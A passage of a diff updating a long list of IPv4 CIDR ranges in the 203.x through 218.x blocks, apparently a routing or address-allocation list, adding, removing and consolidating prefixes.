+203.7.129.0/24 +203.7.138.0/23 +203.7.147.0/24 +203.7.150.0/23 +203.7.158.0/24 +203.7.192.0/23 +203.7.200.0/24 +203.8.0.0/24 +203.8.8.0/24 +203.8.23.0/24 203.8.25.0/24 -203.8.30.0/24 +203.8.70.0/24 +203.8.82.0/24 +203.8.86.0/23 +203.8.91.0/24 +203.8.110.0/23 +203.8.115.0/24 +203.8.166.0/23 +203.8.169.0/24 +203.8.173.0/24 +203.8.184.0/24 +203.8.186.0/23 +203.8.190.0/23 +203.8.192.0/24 +203.8.197.0/24 +203.8.198.0/23 +203.8.203.0/24 +203.8.209.0/24 +203.8.210.0/23 +203.8.212.0/22 +203.8.217.0/24 +203.8.220.0/24 +203.9.32.0/24 +203.9.36.0/23 +203.9.57.0/24 +203.9.63.0/24 +203.9.65.0/24 +203.9.70.0/23 +203.9.72.0/24 +203.9.75.0/24 +203.9.76.0/23 +203.9.96.0/22 +203.9.100.0/23 +203.9.108.0/24 +203.9.158.0/24 +203.10.34.0/24 +203.10.56.0/24 +203.10.74.0/23 +203.10.84.0/22 +203.10.88.0/24 +203.10.95.0/24 +203.10.125.0/24 +203.11.70.0/24 +203.11.76.0/22 +203.11.82.0/24 +203.11.84.0/22 +203.11.100.0/22 +203.11.109.0/24 +203.11.117.0/24 +203.11.122.0/24 +203.11.126.0/24 +203.11.136.0/22 +203.11.141.0/24 +203.11.142.0/23 +203.11.180.0/22 +203.11.208.0/22 +203.12.16.0/24 +203.12.19.0/24 +203.12.24.0/24 +203.12.57.0/24 +203.12.65.0/24 +203.12.66.0/24 +203.12.70.0/23 +203.12.87.0/24 203.12.91.0/24 203.12.93.0/24 203.12.95.0/24 +203.12.100.0/23 +203.12.103.0/24 +203.12.114.0/24 +203.12.118.0/24 +203.12.130.0/24 +203.12.137.0/24 +203.12.196.0/22 +203.12.211.0/24 +203.12.219.0/24 +203.12.226.0/24 +203.12.240.0/22 +203.13.18.0/24 +203.13.24.0/24 +203.13.44.0/23 203.13.81.0/24 +203.13.88.0/23 +203.13.92.0/22 +203.13.173.0/24 +203.13.224.0/23 +203.13.227.0/24 +203.13.233.0/24 +203.14.24.0/22 +203.14.33.0/24 +203.14.56.0/24 +203.14.61.0/24 +203.14.62.0/24 +203.14.104.0/24 +203.14.114.0/23 +203.14.118.0/24 +203.14.162.0/24 +203.14.192.0/24 +203.14.194.0/23 +203.14.214.0/24 +203.14.231.0/24 +203.14.246.0/24 203.15.0.0/20 -203.15.114.0/24 -203.25.52.0/24 +203.15.20.0/23 +203.15.22.0/24 +203.15.87.0/24 +203.15.88.0/23 +203.15.105.0/24 +203.15.112.0/24 +203.15.114.0/23 +203.15.119.0/24 +203.15.130.0/23 +203.15.149.0/24 +203.15.151.0/24 +203.15.156.0/22 +203.15.174.0/24 +203.15.227.0/24 +203.15.232.0/21 +203.15.240.0/23 +203.15.246.0/24 +203.16.10.0/24 +203.16.12.0/23 +203.16.16.0/21 +203.16.27.0/24 +203.16.38.0/24 +203.16.49.0/24 +203.16.50.0/23 +203.16.58.0/24 +203.16.63.0/24 +203.16.133.0/24 +203.16.161.0/24 +203.16.162.0/24 +203.16.186.0/23 +203.16.228.0/24 +203.16.238.0/24 +203.16.240.0/24 +203.16.245.0/24 +203.17.2.0/24 +203.17.18.0/24 +203.17.28.0/24 +203.17.39.0/24 +203.17.56.0/24 +203.17.74.0/23 +203.17.88.0/23 +203.17.136.0/24 +203.17.164.0/24 +203.17.187.0/24 +203.17.190.0/23 +203.17.231.0/24 +203.17.233.0/24 +203.17.248.0/23 +203.17.255.0/24 +203.18.2.0/23 +203.18.4.0/24 +203.18.7.0/24 +203.18.31.0/24 +203.18.37.0/24 +203.18.48.0/23 +203.18.52.0/24 +203.18.72.0/22 +203.18.80.0/23 +203.18.87.0/24 +203.18.100.0/23 +203.18.105.0/24 +203.18.107.0/24 +203.18.110.0/24 +203.18.129.0/24 +203.18.131.0/24 +203.18.132.0/23 +203.18.144.0/24 +203.18.153.0/24 +203.18.199.0/24 +203.18.208.0/24 +203.18.211.0/24 +203.18.215.0/24 +203.19.1.0/24 +203.19.18.0/24 +203.19.24.0/24 +203.19.30.0/24 +203.19.36.0/24 +203.19.39.0/24 +203.19.41.0/24 +203.19.44.0/23 +203.19.46.0/24 +203.19.58.0/24 +203.19.60.0/23 +203.19.64.0/24 +203.19.68.0/24 +203.19.72.0/24 +203.19.101.0/24 +203.19.111.0/24 +203.19.131.0/24 +203.19.133.0/24 +203.19.144.0/24 +203.19.147.0/24 +203.19.149.0/24 +203.19.156.0/24 +203.19.176.0/24 +203.19.178.0/23 +203.19.208.0/24 +203.19.228.0/22 +203.19.233.0/24 +203.19.242.0/24 +203.19.248.0/23 +203.19.255.0/24 +203.20.17.0/24 +203.20.40.0/23 +203.20.44.0/24 +203.20.48.0/24 +203.20.61.0/24 +203.20.65.0/24 +203.20.84.0/23 +203.20.89.0/24 +203.20.106.0/23 +203.20.115.0/24 +203.20.117.0/24 +203.20.118.0/23 +203.20.122.0/24 +203.20.126.0/23 +203.20.135.0/24 +203.20.138.0/23 +203.20.150.0/24 +203.20.230.0/24 +203.20.232.0/24 +203.20.236.0/24 +203.21.0.0/23 +203.21.2.0/24 +203.21.8.0/24 +203.21.10.0/24 +203.21.18.0/24 +203.21.33.0/24 +203.21.34.0/24 +203.21.41.0/24 +203.21.44.0/24 +203.21.68.0/24 +203.21.82.0/24 +203.21.96.0/22 +203.21.124.0/24 +203.21.136.0/23 +203.21.145.0/24 +203.21.206.0/24 +203.22.24.0/24 +203.22.28.0/23 +203.22.31.0/24 +203.22.68.0/24 +203.22.76.0/24 +203.22.78.0/24 +203.22.84.0/24 +203.22.87.0/24 +203.22.92.0/22 +203.22.99.0/24 +203.22.106.0/24 +203.22.122.0/23 +203.22.131.0/24 +203.22.163.0/24 +203.22.166.0/24 +203.22.170.0/24 +203.22.176.0/21 +203.22.194.0/24 +203.22.242.0/23 +203.22.245.0/24 +203.22.246.0/24 +203.22.252.0/23 +203.23.0.0/24 +203.23.47.0/24 +203.23.61.0/24 +203.23.62.0/23 +203.23.73.0/24 +203.23.85.0/24 +203.23.92.0/22 +203.23.98.0/24 +203.23.107.0/24 +203.23.112.0/24 +203.23.130.0/24 +203.23.140.0/23 +203.23.172.0/24 +203.23.182.0/24 +203.23.186.0/23 +203.23.192.0/24 +203.23.197.0/24 +203.23.198.0/24 +203.23.204.0/22 +203.23.224.0/24 +203.23.226.0/23 +203.23.228.0/22 +203.23.249.0/24 +203.23.251.0/24 +203.24.13.0/24 +203.24.18.0/24 +203.24.27.0/24 +203.24.43.0/24 +203.24.56.0/24 +203.24.58.0/24 +203.24.67.0/24 +203.24.74.0/24 +203.24.79.0/24 +203.24.80.0/23 +203.24.84.0/23 +203.24.86.0/24 +203.24.90.0/24 +203.24.111.0/24 +203.24.112.0/24 +203.24.116.0/24 +203.24.122.0/23 +203.24.145.0/24 +203.24.152.0/23 +203.24.157.0/24 +203.24.161.0/24 +203.24.167.0/24 +203.24.186.0/23 +203.24.199.0/24 +203.24.202.0/24 +203.24.212.0/23 +203.24.217.0/24 +203.24.219.0/24 +203.24.244.0/24 +203.25.19.0/24 +203.25.20.0/23 +203.25.46.0/24 +203.25.48.0/21 +203.25.64.0/23 +203.25.91.0/24 +203.25.99.0/24 +203.25.100.0/24 +203.25.106.0/24 +203.25.131.0/24 +203.25.135.0/24 +203.25.138.0/24 +203.25.147.0/24 +203.25.153.0/24 +203.25.154.0/23 +203.25.164.0/24 +203.25.166.0/24 +203.25.174.0/23 +203.25.180.0/24 +203.25.182.0/24 +203.25.191.0/24 +203.25.199.0/24 +203.25.200.0/24 +203.25.202.0/23 203.25.208.0/20 +203.25.229.0/24 +203.25.235.0/24 +203.25.236.0/24 +203.25.242.0/24 +203.26.12.0/24 +203.26.34.0/24 +203.26.49.0/24 +203.26.50.0/24 +203.26.55.0/24 +203.26.56.0/23 +203.26.60.0/24 +203.26.65.0/24 +203.26.68.0/24 +203.26.76.0/24 +203.26.80.0/24 +203.26.84.0/24 +203.26.97.0/24 +203.26.102.0/23 +203.26.115.0/24 +203.26.116.0/24 +203.26.129.0/24 +203.26.143.0/24 +203.26.144.0/24 +203.26.148.0/23 +203.26.154.0/24 +203.26.158.0/23 +203.26.170.0/24 +203.26.173.0/24 +203.26.176.0/24 +203.26.185.0/24 +203.26.202.0/23 +203.26.210.0/24 +203.26.214.0/24 +203.26.222.0/24 +203.26.224.0/24 +203.26.228.0/24 +203.26.232.0/24 +203.27.0.0/24 +203.27.10.0/24 +203.27.15.0/24 +203.27.16.0/24 +203.27.20.0/24 +203.27.22.0/23 +203.27.40.0/24 +203.27.45.0/24 +203.27.53.0/24 +203.27.65.0/24 +203.27.66.0/24 +203.27.81.0/24 +203.27.88.0/24 +203.27.102.0/24 +203.27.109.0/24 +203.27.117.0/24 +203.27.121.0/24 +203.27.122.0/23 +203.27.125.0/24 +203.27.200.0/24 +203.27.202.0/24 +203.27.233.0/24 +203.27.241.0/24 +203.27.250.0/24 +203.28.10.0/24 +203.28.12.0/24 +203.28.33.0/24 +203.28.34.0/23 +203.28.43.0/24 +203.28.44.0/24 +203.28.54.0/24 +203.28.56.0/24 +203.28.73.0/24 +203.28.74.0/24 +203.28.76.0/24 +203.28.86.0/24 +203.28.88.0/24 +203.28.112.0/24 +203.28.131.0/24 +203.28.136.0/24 +203.28.140.0/24 +203.28.145.0/24 +203.28.165.0/24 +203.28.169.0/24 +203.28.170.0/24 +203.28.178.0/23 +203.28.185.0/24 +203.28.187.0/24 +203.28.196.0/24 +203.28.226.0/23 +203.28.239.0/24 +203.29.2.0/24 +203.29.8.0/23 +203.29.13.0/24 +203.29.14.0/24 +203.29.28.0/24 +203.29.46.0/24 +203.29.57.0/24 +203.29.61.0/24 +203.29.63.0/24 +203.29.69.0/24 +203.29.73.0/24 +203.29.81.0/24 +203.29.90.0/24 +203.29.95.0/24 +203.29.100.0/24 +203.29.103.0/24 +203.29.112.0/24 +203.29.120.0/22 +203.29.182.0/23 +203.29.187.0/24 +203.29.189.0/24 +203.29.190.0/24 +203.29.205.0/24 +203.29.210.0/24 +203.29.217.0/24 +203.29.227.0/24 +203.29.231.0/24 +203.29.233.0/24 +203.29.234.0/24 +203.29.248.0/24 +203.29.254.0/23 +203.30.16.0/23 +203.30.25.0/24 +203.30.27.0/24 +203.30.29.0/24 +203.30.66.0/24 +203.30.81.0/24 +203.30.87.0/24 +203.30.111.0/24 +203.30.121.0/24 +203.30.123.0/24 +203.30.152.0/24 +203.30.156.0/24 +203.30.162.0/24 +203.30.173.0/24 +203.30.175.0/24 +203.30.187.0/24 +203.30.194.0/24 +203.30.217.0/24 +203.30.220.0/24 +203.30.222.0/24 +203.30.232.0/23 +203.30.235.0/24 +203.30.240.0/23 +203.30.246.0/24 +203.30.250.0/23 +203.31.45.0/24 +203.31.46.0/24 +203.31.49.0/24 +203.31.51.0/24 +203.31.54.0/23 +203.31.69.0/24 +203.31.72.0/24 +203.31.80.0/24 +203.31.85.0/24 +203.31.97.0/24 +203.31.105.0/24 +203.31.106.0/24 +203.31.108.0/23 +203.31.124.0/24 +203.31.162.0/24 +203.31.174.0/24 +203.31.177.0/24 +203.31.181.0/24 +203.31.187.0/24 +203.31.189.0/24 +203.31.204.0/24 +203.31.220.0/24 +203.31.222.0/23 +203.31.225.0/24 +203.31.229.0/24 +203.31.248.0/23 +203.31.253.0/24 +203.32.20.0/24 203.32.48.0/23 +203.32.56.0/24 +203.32.60.0/24 +203.32.62.0/24 203.32.68.0/23 +203.32.76.0/24 +203.32.81.0/24 203.32.84.0/23 +203.32.95.0/24 +203.32.102.0/24 +203.32.105.0/24 +203.32.130.0/24 +203.32.133.0/24 +203.32.140.0/24 +203.32.152.0/24 +203.32.186.0/23 +203.32.192.0/24 +203.32.196.0/24 203.32.203.0/24 203.32.204.0/23 203.32.212.0/24 203.33.4.0/24 203.33.7.0/24 +203.33.11.0/24 +203.33.12.0/22 203.33.21.0/24 203.33.26.0/24 203.33.32.0/24 203.33.63.0/24 203.33.64.0/24 203.33.67.0/24 +203.33.68.0/24 +203.33.73.0/24 +203.33.79.0/24 +203.33.100.0/24 +203.33.122.0/24 +203.33.129.0/24 +203.33.131.0/24 203.33.145.0/24 203.33.156.0/24 203.33.158.0/23 203.33.174.0/24 +203.33.185.0/24 +203.33.200.0/24 203.33.202.0/23 +203.33.204.0/24 203.33.206.0/23 203.33.214.0/23 203.33.224.0/23 +203.33.226.0/24 +203.33.233.0/24 +203.33.243.0/24 +203.33.250.0/24 +203.34.4.0/24 203.34.21.0/24 203.34.27.0/24 203.34.39.0/24 @@ -3189,6 +5623,11 @@ 203.34.152.0/23 203.34.161.0/24 203.34.162.0/24 +203.34.187.0/24 +203.34.192.0/23 +203.34.195.0/24 +203.34.198.0/24 +203.34.204.0/22 203.34.232.0/24 203.34.240.0/24 203.34.242.0/24 @@ -3220,6 +5659,10 @@ 203.56.38.0/24 203.56.40.0/24 203.56.46.0/24 +203.56.48.0/23 +203.56.51.0/24 +203.56.52.0/23 +203.56.54.0/24 203.56.68.0/23 203.56.82.0/23 203.56.84.0/23 @@ -3240,7 +5683,9 @@ 203.56.210.0/24 203.56.214.0/24 203.56.216.0/24 +203.56.227.0/24 203.56.228.0/24 +203.56.231.0/24 203.56.232.0/24 203.56.240.0/24 203.56.252.0/24 @@ -3267,686 +5712,472 @@ 203.57.206.0/24 203.57.222.0/24 203.57.224.0/20 +203.57.246.0/23 203.57.249.0/24 +203.57.253.0/24 203.57.254.0/23 203.62.2.0/24 203.62.131.0/24 203.62.139.0/24 +203.62.161.0/24 +203.62.197.0/24 +203.62.228.0/22 +203.62.234.0/24 +203.62.246.0/24 203.65.240.0/22 +203.76.160.0/22 +203.76.168.0/22 203.76.208.0/21 203.76.216.0/22 203.76.240.0/22 +203.77.180.0/22 203.78.48.0/20 -203.79.0.0/23 +203.78.156.0/22 +203.79.0.0/20 +203.80.4.0/23 +203.80.32.0/20 203.80.57.0/24 +203.80.129.0/24 +203.80.132.0/22 +203.80.140.0/24 +203.80.142.0/23 203.80.144.0/20 +203.81.1.0/24 +203.81.2.0/24 +203.81.5.0/24 +203.81.16.0/20 +203.81.244.0/22 203.82.0.0/23 +203.82.16.0/24 +203.82.20.0/23 +203.82.22.0/24 +203.82.112.0/20 +203.82.224.0/20 +203.83.0.0/22 +203.83.12.0/22 203.83.56.0/21 203.83.224.0/20 -203.86.0.0/19 -203.86.43.0/24 -203.86.44.0/23 -203.86.48.0/23 -203.86.51.0/24 -203.86.52.0/22 -203.86.60.0/23 -203.86.62.0/24 +203.86.0.0/18 203.86.64.0/19 +203.86.96.0/22 +203.86.100.0/23 +203.86.102.0/24 +203.86.104.0/23 +203.86.107.0/24 +203.86.108.0/24 +203.86.110.0/24 203.86.112.0/24 +203.86.114.0/24 +203.86.116.0/23 +203.86.120.0/24 +203.86.250.0/24 203.86.254.0/23 203.88.32.0/19 203.88.192.0/19 +203.89.8.0/23 +203.89.13.0/24 +203.89.14.0/23 +203.89.133.0/24 +203.89.136.0/22 +203.89.144.0/24 +203.90.8.0/21 203.90.128.0/18 203.90.192.0/19 203.91.32.0/19 +203.91.96.0/20 203.91.120.0/21 -203.93.0.0/18 -203.93.64.0/19 -203.93.96.0/20 -203.93.117.0/24 -203.93.120.0/21 -203.93.128.0/19 -203.93.160.0/20 -203.93.208.0/20 -203.93.224.0/19 +203.92.0.0/22 +203.92.6.0/24 +203.92.160.0/19 +203.93.0.0/16 203.94.0.0/19 -203.95.0.0/23 -203.95.2.0/24 -203.95.4.0/22 -203.95.128.0/23 -203.99.18.0/24 -203.99.21.0/24 -203.99.22.0/23 -203.99.26.0/23 -203.99.30.0/23 -203.100.92.0/22 +203.95.0.0/21 +203.95.96.0/19 +203.95.128.0/18 +203.95.200.0/21 +203.95.208.0/22 +203.95.224.0/19 +203.99.8.0/23 +203.99.12.0/24 +203.99.14.0/23 +203.99.16.0/23 +203.99.19.0/24 +203.99.20.0/22 +203.99.24.0/21 +203.99.80.0/20 +203.100.32.0/20 +203.100.48.0/22 +203.100.53.0/24 +203.100.55.0/24 +203.100.58.0/24 +203.100.60.0/24 +203.100.63.0/24 +203.100.80.0/20 +203.100.96.0/19 203.100.192.0/20 203.104.32.0/20 -203.107.1.0/24 +203.105.96.0/19 +203.105.128.0/19 +203.107.0.0/23 203.107.2.0/24 -203.107.6.0/24 -203.107.13.0/24 -203.107.20.0/22 -203.107.26.0/23 -203.107.28.0/22 +203.107.4.0/22 +203.107.8.0/21 +203.107.16.0/20 203.107.32.0/19 +203.107.69.0/24 +203.107.70.0/23 203.107.72.0/21 -203.107.80.0/21 -203.107.96.0/23 -203.107.112.0/21 -203.107.120.0/22 -203.107.124.0/23 +203.107.80.0/20 +203.107.96.0/19 203.110.160.0/19 203.110.208.0/20 203.110.232.0/23 +203.110.234.0/24 +203.114.80.0/20 203.114.244.0/22 +203.118.192.0/19 +203.118.241.0/24 203.118.248.0/22 -203.119.25.0/24 -203.119.26.0/23 -203.119.28.0/22 -203.119.33.0/24 +203.119.24.0/21 +203.119.32.0/22 203.119.80.0/24 203.119.83.0/24 +203.119.85.0/24 +203.119.113.0/24 203.119.114.0/23 -203.119.128.0/19 -203.119.160.0/24 -203.119.168.0/21 -203.119.176.0/20 -203.119.192.0/18 +203.119.116.0/22 +203.119.121.0/24 +203.119.122.0/23 +203.119.126.0/23 +203.119.128.0/17 +203.123.58.0/24 +203.128.32.0/19 +203.128.96.0/19 +203.128.225.0/24 +203.128.226.0/23 +203.128.228.0/24 +203.128.231.0/24 +203.129.8.0/24 +203.129.10.0/23 203.129.12.0/22 -203.130.40.0/21 +203.130.32.0/19 203.132.32.0/19 -203.133.240.0/21 +203.134.240.0/21 203.135.96.0/19 +203.135.160.0/20 +203.142.219.0/24 +203.142.224.0/19 +203.144.96.0/22 +203.144.100.0/24 +203.144.102.0/24 +203.144.106.0/23 +203.144.108.0/22 +203.144.112.0/20 +203.145.0.0/19 203.148.0.0/18 203.148.64.0/20 +203.148.80.0/22 203.148.86.0/23 +203.149.92.0/22 203.152.64.0/19 +203.152.128.0/19 +203.153.0.0/22 203.156.192.0/18 +203.158.16.0/21 +203.160.104.0/21 203.160.129.0/24 203.160.192.0/19 -203.166.160.0/22 -203.166.165.0/24 -203.166.166.0/24 -203.166.172.0/24 -203.166.177.0/24 -203.166.186.0/23 -203.166.188.0/23 -203.166.191.0/24 +203.161.0.0/22 +203.161.183.0/24 +203.161.192.0/19 +203.166.160.0/19 +203.167.28.0/22 203.168.0.0/19 203.170.58.0/23 +203.171.0.0/22 +203.171.208.0/24 +203.171.224.0/20 203.174.4.0/24 +203.174.6.0/24 203.174.96.0/19 203.175.128.0/19 -203.176.92.0/22 -203.176.168.0/24 -203.176.170.0/24 +203.175.192.0/18 +203.176.0.0/18 +203.176.64.0/19 +203.176.168.0/21 +203.184.80.0/20 +203.185.189.0/24 203.187.160.0/19 203.189.0.0/23 203.189.6.0/23 +203.189.112.0/22 203.189.192.0/19 203.189.240.0/22 -203.190.100.0/23 +203.190.96.0/20 +203.190.249.0/24 203.191.0.0/23 -203.191.144.0/21 -203.192.1.0/24 -203.192.2.0/23 -203.192.4.0/22 -203.192.8.0/21 -203.192.16.0/24 -203.192.24.0/23 +203.191.2.0/24 +203.191.5.0/24 +203.191.7.0/24 +203.191.16.0/20 +203.191.64.0/18 +203.191.133.0/24 +203.191.144.0/20 +203.192.0.0/19 203.193.224.0/19 -203.194.122.0/23 -203.194.124.0/24 +203.194.120.0/21 203.195.64.0/19 -203.195.113.0/24 +203.195.112.0/23 203.195.114.0/24 -203.195.118.0/23 +203.195.116.0/22 203.195.128.0/17 203.196.0.0/21 -203.202.236.0/23 -203.205.88.0/22 -203.205.95.0/24 -203.207.64.0/19 -203.207.96.0/21 -203.207.104.0/22 -203.207.112.0/20 -203.207.128.0/18 -203.207.192.0/21 -203.207.200.0/22 -203.207.208.0/20 -203.207.224.0/19 +203.196.28.0/22 +203.201.181.0/24 +203.201.182.0/24 +203.202.236.0/22 +203.205.64.0/19 +203.205.130.0/23 +203.205.132.0/23 +203.205.148.0/22 +203.205.152.0/23 +203.205.154.0/24 +203.205.156.0/24 +203.205.158.0/23 +203.205.160.0/20 +203.205.176.0/21 +203.205.184.0/22 +203.205.189.0/24 +203.205.190.0/24 +203.205.200.0/21 +203.205.208.0/21 +203.205.216.0/23 +203.205.225.0/24 +203.205.226.0/23 +203.205.228.0/22 +203.205.240.0/21 +203.207.64.0/18 +203.207.128.0/17 203.208.32.0/19 203.209.224.0/19 -203.212.0.0/21 -203.212.8.0/22 -203.212.80.0/23 -203.215.232.0/23 -203.215.236.0/24 -203.223.17.0/24 -203.223.19.0/24 -203.223.20.0/23 -204.77.130.0/24 -204.235.241.0/24 -205.198.19.0/24 +203.212.0.0/20 +203.212.80.0/20 +203.215.232.0/21 +203.217.164.0/22 +203.223.16.0/24 +203.223.21.0/24 +203.223.22.0/23 +206.109.70.0/23 206.109.75.0/24 -210.2.0.0/23 -210.2.4.0/24 +210.2.0.0/19 210.5.0.0/19 -210.5.56.0/21 +210.5.56.0/24 +210.5.58.0/23 +210.5.60.0/22 210.5.128.0/19 -210.12.0.0/16 -210.13.0.0/17 -210.13.192.0/19 -210.13.224.0/24 -210.13.227.0/24 -210.13.230.0/23 -210.13.232.0/24 -210.13.236.0/23 -210.13.238.0/24 -210.13.240.0/20 -210.14.64.0/20 -210.14.80.0/22 -210.14.84.0/24 -210.14.90.0/23 -210.14.92.0/22 +210.7.56.0/21 +210.12.0.0/15 +210.14.64.0/19 210.14.112.0/20 -210.14.128.0/19 -210.14.192.0/18 +210.14.128.0/17 210.15.0.0/17 -210.16.160.0/19 -210.21.0.0/17 -210.21.192.0/18 -210.22.0.0/19 -210.22.32.0/22 -210.22.48.0/20 -210.22.64.0/18 -210.22.128.0/17 +210.15.128.0/18 +210.16.128.0/18 +210.21.0.0/16 +210.22.0.0/16 +210.23.32.0/19 210.25.0.0/16 210.26.0.0/15 210.28.0.0/14 210.32.0.0/12 -210.48.136.0/21 210.51.0.0/16 210.52.0.0/15 -210.72.0.0/17 -210.72.128.0/18 -210.72.192.0/19 -210.72.224.0/20 -210.72.240.0/23 -210.72.243.0/24 -210.72.245.0/24 -210.72.246.0/24 -210.73.0.0/17 -210.73.128.0/18 -210.73.192.0/22 -210.73.204.0/24 -210.73.208.0/20 -210.73.224.0/19 -210.74.0.0/20 -210.74.35.0/24 -210.74.36.0/23 -210.74.38.0/24 -210.74.40.0/22 -210.74.44.0/23 -210.74.47.0/24 -210.74.64.0/23 -210.74.107.0/24 -210.74.108.0/23 -210.74.128.0/18 -210.74.224.0/19 -210.75.0.0/18 -210.75.96.0/19 -210.75.192.0/18 -210.76.0.0/18 -210.76.64.0/19 -210.76.160.0/19 -210.76.192.0/19 -210.77.0.0/18 -210.77.64.0/19 -210.77.128.0/19 -210.77.176.0/22 -210.77.180.0/23 -210.77.182.0/24 -210.77.184.0/24 -210.77.189.0/24 -210.77.190.0/23 -210.77.192.0/18 -210.78.128.0/24 -210.78.134.0/23 -210.78.139.0/24 +210.56.192.0/19 +210.72.0.0/14 +210.76.0.0/15 +210.78.0.0/16 +210.79.64.0/18 210.79.224.0/19 210.82.0.0/15 +210.87.72.0/23 +210.87.114.0/23 210.87.128.0/18 -210.192.96.0/21 -210.192.116.0/22 -210.192.120.0/21 +210.185.192.0/18 +210.192.96.0/19 211.64.0.0/13 -211.80.0.0/13 -211.88.0.0/16 -211.89.230.0/23 -211.90.0.0/17 -211.90.128.0/18 -211.90.192.0/20 -211.90.216.0/21 -211.90.224.0/19 -211.91.0.0/18 -211.91.64.0/19 -211.91.96.0/20 -211.91.120.0/21 -211.91.128.0/18 -211.91.216.0/21 -211.91.224.0/19 -211.92.0.0/17 -211.92.128.0/18 -211.92.192.0/19 -211.92.224.0/20 -211.92.244.0/22 -211.93.0.0/17 -211.93.128.0/20 -211.93.144.0/21 -211.93.160.0/19 -211.93.192.0/21 -211.93.200.0/23 -211.93.204.0/22 -211.93.211.0/24 -211.93.212.0/23 -211.93.224.0/19 -211.94.37.0/24 -211.94.64.0/18 -211.94.128.0/17 -211.95.0.0/17 -211.95.128.0/19 -211.95.192.0/18 -211.96.0.0/16 -211.97.0.0/17 -211.97.128.0/19 -211.97.160.0/21 -211.97.176.0/20 -211.97.192.0/18 +211.80.0.0/12 +211.96.0.0/15 211.98.0.0/16 -211.99.8.0/21 -211.99.16.0/23 -211.99.25.0/24 -211.99.26.0/24 -211.99.28.0/22 -211.99.32.0/19 +211.99.0.0/19 211.99.64.0/18 -211.99.128.0/18 -211.99.192.0/19 -211.100.0.0/17 -211.100.192.0/20 -211.100.224.0/19 -211.101.0.0/18 -211.101.192.0/20 -211.101.232.0/21 -211.101.240.0/21 -211.102.80.0/20 -211.102.128.0/18 -211.102.192.0/23 -211.102.208.0/20 -211.102.240.0/21 -211.102.248.0/24 +211.99.128.0/17 +211.100.0.0/15 +211.102.0.0/17 +211.102.128.0/21 +211.102.144.0/21 +211.102.160.0/20 +211.102.192.0/18 211.103.0.0/16 211.136.0.0/13 -211.144.9.0/24 -211.144.10.0/24 -211.144.12.0/22 -211.144.16.0/24 -211.144.18.0/23 -211.144.20.0/24 -211.144.22.0/24 -211.144.24.0/24 -211.144.27.0/24 -211.144.28.0/23 -211.144.32.0/19 -211.144.64.0/19 -211.144.96.0/23 -211.144.100.0/22 -211.144.104.0/22 -211.144.108.0/23 -211.144.110.0/24 -211.144.112.0/24 -211.144.114.0/23 -211.144.118.0/23 -211.144.120.0/21 -211.144.128.0/19 -211.144.192.0/18 -211.145.0.0/18 -211.145.64.0/20 -211.146.0.0/19 -211.146.32.0/21 -211.147.0.0/18 -211.147.64.0/19 -211.147.128.0/19 -211.147.208.0/20 -211.147.224.0/19 -211.148.0.0/18 -211.148.128.0/18 -211.148.192.0/19 +211.144.0.0/14 +211.148.0.0/16 +211.149.0.0/19 +211.149.48.0/21 +211.149.64.0/21 +211.149.80.0/21 +211.149.96.0/19 211.149.128.0/17 -211.150.0.0/18 -211.150.64.0/19 -211.150.98.0/24 -211.150.100.0/23 -211.150.114.0/23 -211.150.122.0/24 -211.150.124.0/23 -211.150.128.0/24 -211.151.0.0/16 +211.150.0.0/15 211.152.0.0/17 -211.152.192.0/22 -211.152.196.0/23 -211.152.208.0/20 +211.152.128.0/20 +211.152.144.0/22 +211.152.150.0/23 +211.152.152.0/21 +211.152.160.0/19 +211.152.192.0/18 211.153.0.0/16 -211.154.0.0/19 -211.154.64.0/19 -211.154.128.0/17 -211.155.16.0/20 -211.155.32.0/19 +211.154.0.0/16 +211.155.0.0/18 +211.155.66.0/23 +211.155.68.0/22 +211.155.72.0/21 211.155.80.0/20 211.155.96.0/19 -211.155.128.0/19 -211.155.160.0/20 -211.155.176.0/22 -211.155.184.0/21 -211.155.224.0/21 -211.155.232.0/22 -211.155.236.0/24 -211.155.240.0/20 -211.156.0.0/19 -211.156.128.0/19 -211.156.192.0/20 -211.156.208.0/21 -211.156.216.0/22 -211.156.220.0/23 -211.156.223.0/24 -211.157.0.0/19 -211.157.96.0/19 -211.157.128.0/18 -211.157.192.0/20 -211.157.219.0/24 -211.157.222.0/24 -211.157.224.0/19 -211.158.0.0/16 -211.159.64.0/21 -211.159.128.0/17 -211.160.0.0/22 -211.160.4.0/24 -211.160.9.0/24 -211.160.10.0/23 -211.160.14.0/23 -211.160.16.0/24 -211.160.18.0/23 -211.160.20.0/23 -211.160.22.0/24 -211.160.24.0/24 -211.160.27.0/24 -211.160.28.0/23 -211.160.36.0/23 -211.160.46.0/24 -211.160.62.0/24 -211.160.72.0/21 -211.160.80.0/20 -211.160.112.0/23 -211.160.115.0/24 -211.160.120.0/24 -211.160.160.0/19 -211.160.195.0/24 -211.160.196.0/24 -211.160.203.0/24 -211.160.205.0/24 -211.160.244.0/24 -211.160.246.0/23 -211.160.248.0/21 -211.161.0.0/20 -211.161.24.0/22 -211.161.32.0/20 -211.161.60.0/23 -211.161.62.0/24 -211.161.101.0/24 -211.161.102.0/23 -211.161.120.0/21 -211.161.192.0/22 -211.161.203.0/24 -211.161.209.0/24 -211.161.221.0/24 -211.161.224.0/20 -211.162.0.0/21 -211.162.64.0/20 -211.162.119.0/24 -211.162.120.0/21 -211.162.200.0/22 -211.165.0.0/16 +211.155.128.0/18 +211.155.208.0/20 +211.155.224.0/19 +211.156.0.0/14 +211.160.0.0/14 +211.164.0.0/15 211.166.0.0/16 +211.167.0.0/19 211.167.64.0/18 -211.167.128.0/19 -211.167.176.0/20 -211.167.224.0/19 +211.167.128.0/17 212.64.0.0/17 -212.103.62.0/24 212.129.128.0/17 -218.0.0.0/11 +218.0.0.0/12 +218.16.0.0/13 +218.24.0.0/14 +218.28.0.0/15 +218.30.0.0/19 +218.30.32.0/22 +218.30.36.0/23 +218.30.38.0/24 +218.30.40.0/22 +218.30.45.0/24 +218.30.46.0/23 +218.30.48.0/21 +218.30.56.0/22 +218.30.60.0/23 +218.30.64.0/18 +218.30.128.0/17 +218.31.0.0/16 218.56.0.0/13 218.64.0.0/11 -218.96.0.0/24 -218.96.64.0/22 -218.96.104.0/22 -218.96.108.0/23 -218.96.126.0/23 -218.96.128.0/24 -218.96.241.0/24 -218.96.244.0/24 -218.96.255.0/24 +218.96.0.0/16 218.97.0.0/17 218.97.160.0/19 -218.97.192.0/19 -218.97.240.0/20 -218.98.0.0/18 -218.98.96.0/21 -218.98.104.0/22 -218.98.108.0/23 -218.98.111.0/24 -218.98.112.0/20 -218.98.160.0/24 -218.98.176.0/24 -218.98.192.0/24 +218.97.192.0/18 +218.98.0.0/15 218.100.88.0/21 